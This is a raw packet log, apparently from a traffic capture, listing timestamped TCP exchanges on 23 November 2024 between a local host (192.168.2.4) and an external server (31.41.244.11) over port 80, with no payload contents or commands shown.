Nov 23, 2024 11:22:10.945930958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.945964098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.947916031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.947963953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.948131084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.948182106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.949947119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.950005054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.950026989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.950078964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.951989889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.952040911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.952043056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.952105045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.953958988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.954016924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.954094887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.954138994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.956022978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.956073046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.956121922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.956172943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.958026886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.958077908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.958225012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.958278894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.960056067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.960109949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.960159063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.960206985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.962095022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.962161064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.962201118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.962256908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.964106083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.964155912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.964210033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.964262009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.064543009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.064608097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.064740896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.064855099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.065371990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.065463066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.065495014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.065541983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.066982985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.067039013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.067115068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.067162991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.068552017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.068613052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.068670034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.068716049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.070302963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.070357084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.070379019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.070436954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.071969032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.072006941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.072365999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.073577881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.073626041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.073698044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.073739052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.075014114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.075062990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.075115919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.075156927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.076626062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.076679945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.076762915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.076809883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.078233004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.078289032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.078329086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.078380108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.079679012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.079724073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.079782009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.079829931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.081245899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.081295013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.081393003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.081439018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.082778931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.082834005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.082948923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.082993031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.084223032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.084275007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.084379911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.084436893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.085871935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.085922956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.085967064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.086011887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.087188005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.087234974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.087343931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.087393045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.088681936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.088732004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.088766098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.088808060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.090147018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.090219975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.090315104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.090315104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.091552973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.091603994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.091749907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.091795921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.093014956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.093060970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.093166113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.093214989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.094542980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.094600916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.094674110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.094722986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.096107006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.096124887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.096158981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.096199989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.097408056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.097464085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.097466946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.097510099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.098788977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.098844051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.098906040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.098956108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.100604057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.100657940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.100739002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.100788116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.102487087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.102538109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.102571964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.102622032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.104036093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.104087114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.104103088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.104155064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.105346918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.105396986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.105439901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.105490923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.106690884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.106739998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.106764078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.106813908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.107836008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.107888937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.107966900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.108014107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.109098911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.109149933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.109229088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.109278917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.110620975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.110677958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.110687017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.110722065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.112127066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.112179041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.112199068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.112251043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.113430977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.113485098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.113570929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.113616943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.114849091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.114900112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.114989042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.115039110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.116319895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.116373062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.116441011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.116492987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.117794991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.117846012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.117908001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.117953062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.119168997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.119220972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.119265079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.119328976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.120806932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.120863914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.120908976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.120959044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.122065067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.122113943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.122272968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.122322083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.123584986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.123636961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.123684883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.123748064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.125163078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.125228882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.125271082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.125319958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.126420021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.126470089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.126557112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.126604080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.127895117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.127944946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.127954006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.128001928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.129338980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.129390001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.129458904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.129504919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.130827904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.130877972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.130889893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.130939960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.132253885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.132302999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.132303953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.132353067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.133728027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.133780003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.133858919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.133908987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.135160923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.135221004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.135265112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.135310888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.136704922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.136763096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.136812925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.136862993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.138077974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.138122082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.138175964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.138222933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.139518976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.139570951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.139633894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.139688015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.140974045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.141025066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.141081095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.141125917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.142374039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.142429113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.265947104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.265959024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.266055107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.266632080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.266649961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.266700983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.266756058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.268073082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.268131018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.268170118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.268217087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.269515991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.269536972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.269572020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.269604921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.271024942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.271080017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.271202087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.271245956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.272455931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.272522926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.272592068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.272639990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.273996115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.274064064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.274133921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.274179935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.275342941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.275398970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.275458097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.275502920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.276793003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.276854992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.276906013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.276953936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.278270960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.278326035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.278337955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.278383970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.279727936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.279789925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.279824018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.279874086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.281203032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.281265020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.281368017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.281414986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.282614946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.282674074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.282732010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.282776117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.284080029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.284133911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.284235954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.284281015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.285528898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.285577059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.285670996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.285717964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.286979914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.287024021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.287058115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.287103891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.288474083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.288521051 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.288578033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.288623095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.289916992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.289964914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.290064096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.290108919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.291393995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.291445017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.291471958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.291524887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.292866945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.292921066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.292990923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.293036938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.294296980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.294346094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.294437885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.294487000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.295743942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.295816898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.295988083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.296037912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:11.297205925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:11.297266960 CET	49765	80	192.168.2.4	31.41.244.11
